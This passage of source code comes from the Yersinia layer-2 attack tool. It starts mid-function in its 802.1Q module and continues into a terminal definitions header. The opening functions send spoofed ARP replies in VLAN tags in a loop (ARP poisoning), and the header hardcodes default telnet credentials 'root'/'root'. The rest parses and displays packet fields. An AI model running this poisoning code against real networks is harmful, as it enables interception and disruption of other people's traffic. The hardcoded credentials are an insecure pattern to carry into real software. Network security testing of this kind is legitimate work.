attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REPLY, arp_mac, mac_dest, (u_int8_t *)&arp_ip, (u_int8_t *)&arp_dst, mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) return ret; } thread_usleep(999999); } return 0; } void dot1q_th_poison_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Child/Thread loop sending * ARP poison every 2 secs... */ void dot1q_send_arp_poison(void *arg) { struct attacks *attacks; struct attack_param *param; struct dot1q_data *dot1q_data; u_int32_t arp_ip, arp_dst; u_int8_t out=0; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t *arp_vlan; int8_t ret; dlist_t *p; struct interface_data *iface_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_ip, param[DOT1Q_ARP_IP].value, 4); memcpy((void *)mac_dest, (void*)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); /* arp_ip = htonl(arp_ip);*/ arp_dst = 0; while (!attacks->helper_th.stop && !out) { for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REPLY, (attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, mac_dest, (u_int8_t *)&arp_ip, (u_int8_t *)&arp_dst, mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) { out = 1; break; } } if (!out) thread_usleep(999999); } pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /* * Send ARP packet... */ int8_t dot1q_send_arp(struct interface_data *iface, u_int16_t optype, u_int8_t *mac_source, u_int8_t *mac_dest, u_int8_t *ip_source, u_int8_t *ip_dest, u_int8_t *arp_mac_dest, u_int16_t vlan, u_int8_t priority) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; lhandler = iface->libnet_handler; t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ optype, /* operation type */ (u_int8_t *)mac_source, /* sender hardware address */ ip_source, /* sender protocol addr */ (u_int8_t *)arp_mac_dest, /* target hardware addr */ ip_dest, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet context */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build arp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_1q( mac_dest, /* dest mac */ mac_source, /* src mac */ ETHERTYPE_VLAN, /* TPI */ priority, /* priority (0 - 7) */ 0, /* CFI flag */ vlan, /* vid (0 - 4095) */ ETHERTYPE_ARP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build 802.1q header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface->packets_out[PROTO_DOT1Q]++; return 0; } int8_t dot1q_init_attribs(struct term_node *node) { struct dot1q_data *dot1q_data; dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; attack_gen_mac(dot1q_data->mac_source); dot1q_data->mac_source[0] &= 0x0E; parser_vrfy_mac(DOT1Q_DFL_MAC_DST,dot1q_data->mac_dest); dot1q_data->tpi1 = DOT1Q_DFL_TPI1; dot1q_data->priority1 = DOT1Q_DFL_PRIO1; dot1q_data->cfi1 = DOT1Q_DFL_CFI1; dot1q_data->vlan1 = DOT1Q_DFL_VLAN1; dot1q_data->tpi2 = DOT1Q_DFL_TPI2; dot1q_data->priority2 = DOT1Q_DFL_PRIO2; dot1q_data->cfi2 = DOT1Q_DFL_CFI2; dot1q_data->vlan2 = DOT1Q_DFL_VLAN2; dot1q_data->tpi3 = DOT1Q_DFL_TPI3; dot1q_data->src_ip = ntohl(inet_addr("10.0.0.1")); dot1q_data->dst_ip = ntohl(inet_addr("255.255.255.255")); dot1q_data->ip_proto = 1; memcpy(dot1q_data->icmp_payload,DOT1Q_DFL_PAYLOAD,sizeof(DOT1Q_DFL_PAYLOAD)); dot1q_data->icmp_pay_len = DOT1Q_DFL_PAY_LEN; return 0; } int8_t dot1q_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct dot1q_data *dot1q_data; struct pcap_data pcap_aux; u_int8_t *packet, got_802_1q_pkt = 0; u_int16_t *cursor; dlist_t *p; struct interface_data *iface_data; dot1q_data = data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; while (!got_802_1q_pkt && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_DOT1Q, NO_TIMEOUT); if (*stop) { free(packet); return -1; } cursor = (u_int16_t *)(packet + 12); pcap_aux.header = header; pcap_aux.packet = packet; if (!dot1q_load_values((struct pcap_data *)&pcap_aux, dot1q_data)) got_802_1q_pkt = 1; } /* While got */ free(packet); return 0; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dot1q_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dot1q_data *dot1q; u_int16_t *cursor; u_int8_t *ip; #ifndef LBL_ALIGN struct libnet_ipv4_hdr *ipv4_hdr; #endif dot1q = (struct dot1q_data *)values; if (data->header->caplen < (14+8+8) ) /* Undersized packet!! */ return -1; ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ memcpy(dot1q->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dot1q->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H); dot1q->priority1 = ntohs(*cursor) >> 13; dot1q->cfi1 = ntohs(*cursor) & 0x1000; dot1q->vlan1 = ntohs(*cursor) & 0xfff; cursor++; dot1q->tpi2 = ntohs(*cursor); switch(dot1q->tpi2) { case ETHERTYPE_IP: break; case ETHERTYPE_VLAN: cursor++; dot1q->priority2 = ntohs(*cursor) >> 13; dot1q->cfi2 = ntohs(*cursor) & 0x1000; dot1q->vlan2 = ntohs(*cursor) & 0xfff; cursor++; dot1q->tpi3 = ntohs(*cursor); if (dot1q->tpi3 != ETHERTYPE_IP) return 0; break; default: return 0; break; } cursor++; /* Minimal IP header needed */ ip = (u_int8_t *)cursor; /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN dot1q->ip_proto = *(ip+9); memcpy((void *)&dot1q->src_ip, (ip+12), 4); memcpy((void *)&dot1q->dst_ip, (ip+16), 4); #else ipv4_hdr = (struct libnet_ipv4_hdr *)cursor; dot1q->src_ip = ntohl(ipv4_hdr->ip_src.s_addr); dot1q->dst_ip = ntohl(ipv4_hdr->ip_dst.s_addr); dot1q->ip_proto = ipv4_hdr->ip_p; #endif return 0; } /* * Return formated strings of each 802.1Q field */ char ** dot1q_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; struct libnet_ipv4_hdr *ipv4_hdr; u_int16_t *cursor, type_cursor; u_int8_t *ip; char *aux; u_int32_t aux_long; char **field_values; if (data && (data->header->caplen < (14+8+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1Q].nparams, protocols[PROTO_DOT1Q].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ snprintf(field_values[DOT1Q_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DOT1Q_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H); snprintf(field_values[DOT1Q_VLAN1], 5, "%04d", (ntohs(*cursor) & 0xfff)); snprintf(field_values[DOT1Q_PRIORITY1], 3, "%02X", (ntohs(*cursor) >> 13)); snprintf(field_values[DOT1Q_CFI1], 3, "%02X", (ntohs(*cursor) & 0x1000)); cursor++; type_cursor = ntohs(*cursor); if (type_cursor < 0x0800) /* 802.3 */ { cursor+=4; type_cursor = ntohs(*cursor); } switch(type_cursor) { case ETHERTYPE_IP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]=0; field_values[DOT1Q_CFI2][0]=0; field_values[DOT1Q_VLAN2][0]=0; break; case ETHERTYPE_VLAN: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); cursor++; snprintf(field_values[DOT1Q_PRIORITY2], 3, "%02X", (ntohs(*cursor) >> 13)); snprintf(field_values[DOT1Q_CFI2], 3, "%02X",(ntohs(*cursor) & 0x1000)); snprintf(field_values[DOT1Q_VLAN2], 5, "%04d", (ntohs(*cursor) & 0xfff)); cursor++; type_cursor = ntohs(*cursor); switch(type_cursor) { case ETHERTYPE_IP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); break; case ETHERTYPE_ARP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case ETHERTYPE_REVARP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case ETHERTYPE_VLAN: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x010b: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2000: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2003: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2004: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x9000: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; default: if (type_cursor < 0x0800) { cursor+=4; } else snprintf(field_values[DOT1Q_TPI3], 5, "%04X", type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; field_values[DOT1Q_IP_PROTO][0] = 0; return (char **)field_values; break; } break; case ETHERTYPE_ARP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0] = 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; cursor++; cursor++; if (ntohs(*cursor) != ETHERTYPE_IP) { strncpy(field_values[DOT1Q_SRC_IP],"N/A",16); strncpy(field_values[DOT1Q_DST_IP],"N/A",16); } cursor++; cursor++; if (ntohs(*cursor) == 1 ) /* ARP Request */ { cursor+=4; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_SRC_IP], 17, "%s",aux); cursor+=5; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_DST_IP], 17, "%s?",aux); } else if (ntohs(*cursor) == 2 ) /* ARP Reply */ { cursor+=4; memcpy((void *)&aux_long, (void *)cursor,4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); snprintf(field_values[DOT1Q_SRC_IP], 17, "%s",aux); } else { strncpy(field_values[DOT1Q_SRC_IP],"N/A",16); strncpy(field_values[DOT1Q_DST_IP],"N/A",16); } return (char **)field_values; break; case ETHERTYPE_REVARP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0] = 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x010b: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2000: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2003: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x2004: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; case 0x9000: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; default: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]= 0; field_values[DOT1Q_CFI2][0] = 0; field_values[DOT1Q_VLAN2][0] = 0; field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return (char **)field_values; break; } snprintf(field_values[DOT1Q_TPI3], 5, "0800"); cursor++; /* Minimal IP header needed */ ip = (u_int8_t *)cursor; if ( (ip+20) > (data->packet + data->header->caplen)) return (char **)field_values; #ifdef LBL_ALIGN snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",*(ip+9)); memcpy((void *)&aux_long, (void *)(ip+12),4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); strncpy(field_values[DOT1Q_SRC_IP],aux,16); memcpy((void *)&aux_long, (void *)(ip+16),4); aux = libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE); strncpy(field_values[DOT1Q_DST_IP],aux,16); #else ipv4_hdr = (struct libnet_ipv4_hdr *)cursor; /* Source IP */ strncpy(field_values[DOT1Q_SRC_IP], libnet_addr2name4(ipv4_hdr->ip_src.s_addr, LIBNET_DONT_RESOLVE), 16); /* Destination IP */ strncpy(field_values[DOT1Q_DST_IP], libnet_addr2name4(ipv4_hdr->ip_dst.s_addr, LIBNET_DONT_RESOLVE), 16); snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",ipv4_hdr->ip_p); #endif return (char **)field_values; } char ** dot1q_get_printable_store(struct term_node *node) { struct dot1q_data *dot1q_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1Q].nparams, protocols[PROTO_DOT1Q].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dot1q_tmp = protocols[PROTO_DOT1Q].default_values; else dot1q_tmp = (struct dot1q_data *) node->protocol[PROTO_DOT1Q].tmp_data; /* Source MAC */ snprintf(field_values[DOT1Q_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1q_tmp->mac_source[0], dot1q_tmp->mac_source[1], dot1q_tmp->mac_source[2], dot1q_tmp->mac_source[3], dot1q_tmp->mac_source[4], dot1q_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DOT1Q_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1q_tmp->mac_dest[0], dot1q_tmp->mac_dest[1], dot1q_tmp->mac_dest[2], dot1q_tmp->mac_dest[3], dot1q_tmp->mac_dest[4], dot1q_tmp->mac_dest[5]); snprintf(field_values[DOT1Q_VLAN1], 5, "%04d", dot1q_tmp->vlan1); snprintf(field_values[DOT1Q_PRIORITY1], 3, "%02X", dot1q_tmp->priority1); snprintf(field_values[DOT1Q_CFI1], 3, "%02X", dot1q_tmp->cfi1); snprintf(field_values[DOT1Q_TPI2], 12, "%04X", dot1q_tmp->tpi2); snprintf(field_values[DOT1Q_VLAN2], 5, "%04d", dot1q_tmp->vlan2); snprintf(field_values[DOT1Q_PRIORITY2], 3, "%02X", dot1q_tmp->priority2); snprintf(field_values[DOT1Q_CFI2], 3, "%02X", dot1q_tmp->cfi2); snprintf(field_values[DOT1Q_TPI3], 12, "%04X", dot1q_tmp->tpi3); /* Source IP */ parser_get_formated_inet_address(dot1q_tmp->src_ip, field_values[DOT1Q_SRC_IP], 16); /* Destination IP */ parser_get_formated_inet_address(dot1q_tmp->dst_ip, field_values[DOT1Q_DST_IP], 16); /* IP protocol */ snprintf(field_values[DOT1Q_IP_PROTO], 3, "%02d",dot1q_tmp->ip_proto); memcpy(field_values[DOT1Q_PAYLOAD], dot1q_tmp->icmp_payload, MAX_ICMP_PAYLOAD); return (char **)field_values; } int8_t dot1q_update_field(int8_t state, struct term_node *node, void *value) { struct dot1q_data *dot1q_data; if (node == NULL) dot1q_data = protocols[PROTO_DOT1Q].default_values; else dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; switch(state) { /* Source MAC */ case DOT1Q_SMAC: memcpy((void *)dot1q_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DOT1Q_DMAC: memcpy((void *)dot1q_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Priority */ case DOT1Q_PRIORITY1: dot1q_data->priority1 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_CFI1: dot1q_data->cfi1 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_VLAN1: dot1q_data->vlan1 = *(u_int16_t *)value; break; /* Tag Proto */ case DOT1Q_TPI2: dot1q_data->tpi2 = *(u_int16_t *)value; /* memcpy((void *)&dot1q_data->tpi2,value,2);*/ break; /* Priority */ case DOT1Q_PRIORITY2: dot1q_data->priority2 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_CFI2: dot1q_data->cfi2 = *(u_int8_t *)value; break; /* CFI */ case DOT1Q_VLAN2: dot1q_data->vlan2 = *(u_int16_t *)value; break; case DOT1Q_TPI3: dot1q_data->tpi3 = *(u_int16_t *)value; /* memcpy((void *)&dot1q_data->tpi3,value,2);*/ break; /* Source IP */ case DOT1Q_SRC_IP: dot1q_data->src_ip = *(u_int32_t *)value; break; case DOT1Q_DST_IP: dot1q_data->dst_ip = *(u_int32_t *)value; break; case DOT1Q_IP_PROTO: dot1q_data->ip_proto = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dot1q_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/terminal-defs.h0000644000175000017500000002712412234207266014652 0ustar nknk/* terminal-defs.h * Definitions for lot of things. It must be changed!! :( * * $Id: terminal-defs.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __TERMINAL_DEFS_H__ #define __TERMINAL_DEFS_H__ #include #include "protocols.h" #include "thread-util.h" #include "dlist.h" #ifdef HAVE_GTK #include #endif #define SIZE_ARRAY(x) ( (sizeof(x))/(sizeof(x[0])) ) #define LICENSE "Yersinia\ \nBy David Barroso and Alfredo Andres \ \nCopyright 2005, 2006, 2007 Alfredo Andres and David Barroso \ \n\nThis program is free software; you can redistribute it and/or \ \nmodify it under the terms of the GNU General Public License \ \nas published by the Free Software Foundation; either version 2 \ \nof the License, or (at your option) any later version. \ \n\nThis program is distributed in the hope that it will be useful, \ \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \ \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \ \nGNU General Public License for more details. \ \n\nYou should have received a copy of the GNU General Public License \ \nalong with this program; if not, write to the Free Software \ \nFoundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA." /* Keys bindings...*/ #define ESC1 27 #define ESC2 91 #define ESC3 50 #define TKEY_INIT 49 #define TKEY_SUPR 51 #define TKEY_END 52 #define TKEY_UP 65 #define TKEY_DOWN 66 #define TKEY_RIGHT 67 #define TKEY_LEFT 68 #define INSERT 126 #define BACKSPACE 127 #define BACKSPACE_WIN 8 #define CTRL_C 3 #define CTRL_D 4 #define CTRL_L 12 #define CTRL_U 21 #define DEL 8 #define BEL 7 #define SPACE 32 #define DEL_BACK "\x08 \x08" #define CLEAR_SCREEN "\033[H\033[J" /* Telnet commands... */ #define COM_SE 240 #define COM_NOP 241 #define COM_DM 242 #define COM_BRK 243 #define COM_IP 244 #define COM_AO 245 #define COM_AYT 246 #define COM_EC 247 #define COM_EL 248 #define COM_GA 249 #define COM_SB 250 #define COM_WILL 251 #define COM_WONT 252 #define COM_DO 253 #define COM_DONT 254 #define COM_IAC 0xFF /* Telnet Options... */ #define OPT_ECHO 1 #define OPT_SGAHEAD 3 #define OPT_STATUS 5 #define OPT_TMARK 6 #define OPT_TTYPE 24 #define OPT_WSIZE 31 #define OPT_TSPEED 32 #define OPT_RFLOW 33 #define OPT_LMODE 34 #define OPT_ENVIRON 36 #define VTY_MORE "\r\n--More--\r" #define KILL_THREAD 1 #define NOKILL_THREAD 0 #define MAX_HISTORY 4 #define HIST_INDEXING 0 #define HIST_UPDATING 1 #define MAX_LINE 128 #define MAX_COMMAND 48 #define MAX_USERNAME MAX_COMMAND #define MAX_PASSWORD 8 #define MAX_FAILS 3 #define MAX_VTY 5 #define MAX_TTY 2 #define MAX_CON 1 #define MAX_TERMS (MAX_VTY + MAX_TTY + MAX_CON) #define MIN_TERM_WIDTH 10 #define MID_TERM_WIDTH 128 #define MAX_TERM_WIDTH 500 #define MIN_TERM_HEIGHT 5 #define MID_TERM_HEIGHT 48 #define MAX_TERM_HEIGHT 500 #define VTY_USER "root" #define VTY_PASS "root" #define VTY_ENABLE "tomac" #define VTY_PORT 12000 #define TTY_TIMEOUT 500 #define LOGIN_TIMEOUT 20 #define WELCOME "\r\nWelcome to "PACKAGE" version "VERSION".\r\nCopyright 2004-2007 Slay & Tomac.\r\n\r\n" #define VTY_TIMEOUT_BANNER "\r\nVty connection is timed out!!\r\n\r\n" #define VTY_FAILED "Authentication failed!!\r\n" #define VTY_GO_OUT "\r\nToo many attempts!!\r\n\r\n" /* Terminal types...*/ #define TERM_CON 0 #define TERM_TTY 1 #define TERM_VTY 2 #define TERM_NOTYPE 3 /* Terminal states...*/ #define LOGIN_STATE 0 #define PASSWORD_STATE 1 #define NORMAL_STATE 2 #define ENABLE_STATE 3 #define PARAMS_STATE 4 #define INTERFACE_STATE 5 /* Ncurses field position */ #define FIELD_FIRST 0 #define FIELD_LAST 1 #define FIELD_NORMAL 2 #define ALL_ATTACK_THREADS 0 #define MAX_THREAD_ATTACK 5 #define MAX_TLV 20 #define MAX_VALUE_LENGTH 20 #define MAX_STRING_SIZE 64 #define TLV_DELETE 0 #define TLV_ADD 1 /* taken from tcpdump print-ascii.c * http://www.tcpdump.org */ #define ASCII_LINELENGTH 300 #define HEXDUMP_BYTES_PER_LINE 16 #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2) #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */ #define HEXDUMP_HEXSTUFF_PER_LINE \ (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE) #define DOS 1 #define NONDOS 0 #define SINGLE 0 #define CONTINOUS 1 #define MAX_WORDS 10 struct words_array { u_int16_t nwords; /* How many words? */ u_int16_t indx; /* Last treated word */ char *word[MAX_WORDS+1]; }; struct attacks { u_int8_t up; /* active or not */ THREAD attack_th; THREAD helper_th; u_int16_t attack; /* attack number */ list_t *used_ints; /* interfaces used */ u_int8_t mac_spoofing; void *data; /* packet */ void *params; /* Parameters */ u_int8_t nparams; /* How many params */ }; struct attack_param { void *value; /* Value */ char *desc; /* Description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ u_int16_t size_print; /* Printable size */ char *print; /* Printable */ }; struct attack { int16_t v; /* value */ char *s; /* descr */ int8_t type; /* DoS attack? */ int8_t single; /* Is only one packet or is a continous attack? */ void (*attack_th_launch)(void *); const struct attack_param *param; /* Attack parameters */ u_int8_t nparams; /* How many parameters */ }; struct pcap_file { char *name; int iflink; pcap_t *pd; pcap_dumper_t *pdumper; pthread_mutex_t mutex; }; struct protocol { u_int16_t proto; /* Proto id */ char name[MAX_PROTO_NAME]; /* Proto name */ struct attacks attacks[MAX_THREAD_ATTACK]; /* Attacking threads */ void *tmp_data; /* temporal packet struct */ void **commands_param; /* struct for network interface and protocol fields */ struct pcap_file pcap_file; /* Pcap file per protocol */ }; struct telnet_option { u_int8_t code; char *name; u_int8_t negotiate; }; struct term_vty { int32_t sock; /* Socket in use (if VTY) */ char *history[MAX_HISTORY]; /* Command history */ u_int16_t index_history; /* Command history index */ void *buffer_tx; /* What to send to client */ u_int16_t buffer_tx_len; /* Size of client buffer */ void *more_tx; /* Use it on more mode */ u_int16_t more_tx_len; /* Size of more */ char buf_command[MAX_COMMAND]; /* The command */ int8_t repeat_command; /* Repeat last command */ u_int16_t command_len; /* Command Size */ u_int16_t command_cursor; /* Where is the cursor */ u_int8_t login_fails; /* Failed login tries */ int8_t clearmode; /* Terminal in clear mode */ int8_t escmode; /* Terminal in Escape mode */ int8_t insertmode; /* Terminal in INSERT mode */ int8_t moremode; /* Terminal in More mode */ u_int16_t height; /* Telnet Terminal Height */ u_int16_t width; /* Telnet Terminal Width */ u_int8_t term_size[4]; /* Terminal temporary size */ u_int8_t term_size_index; int8_t iacmode; /* Telnet Interpret As Command mode */ int8_t sbmode; /* Telnet Suboption Begin mode */ int8_t nwsmode; /* Telnet Negotiating Window size */ int8_t othermode; /* Telnet other mode */ int8_t authing; /* We are authenticating */ u_int8_t substate; /* Needed for attack params */ u_int8_t nparams; /* How many params */ u_int8_t attack_proto; u_int8_t attack_index; struct attack_param *attack_param; /* Attack params */ }; struct filter { char *expression; u_int32_t begin; u_int32_t end; struct filter *next; }; struct term_tty { struct termios *term; int8_t daemonize; int8_t debug; int8_t interactive; int8_t gtk; int16_t attack; FILE *log_file; char config_file[FILENAME_MAX]; int8_t mac_spoofing; int8_t splash; char username[MAX_USERNAME]; char password[MAX_PASSWORD]; char e_password[MAX_PASSWORD]; u_int16_t port; struct filter *ip_filter; #ifdef HAVE_GTK GtkTextBuffer *buffer_log; #endif }; struct term_console { #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) int8_t need_resize; #endif }; struct term_node { u_int8_t up; /* Terminal slot is in use? */ u_int8_t type; /* Terminal type (CONSOLE, TTY, VTY) */ u_int16_t number; /* Terminal number */ u_int8_t state; /* Terminal state */ u_int32_t timeout; /* Timeout */ char username[MAX_USERNAME]; /* Username on terminal */ char since[26]; /* User is logged in since... */ char from_ip[15]; /* IP user is connected from */ u_int16_t from_port; /* Port user is connected from */ THREAD thread; /* Thread owner */ struct pcap_file pcap_file; /* Pcap file for ALL protocols */ list_t *used_ints; struct protocol 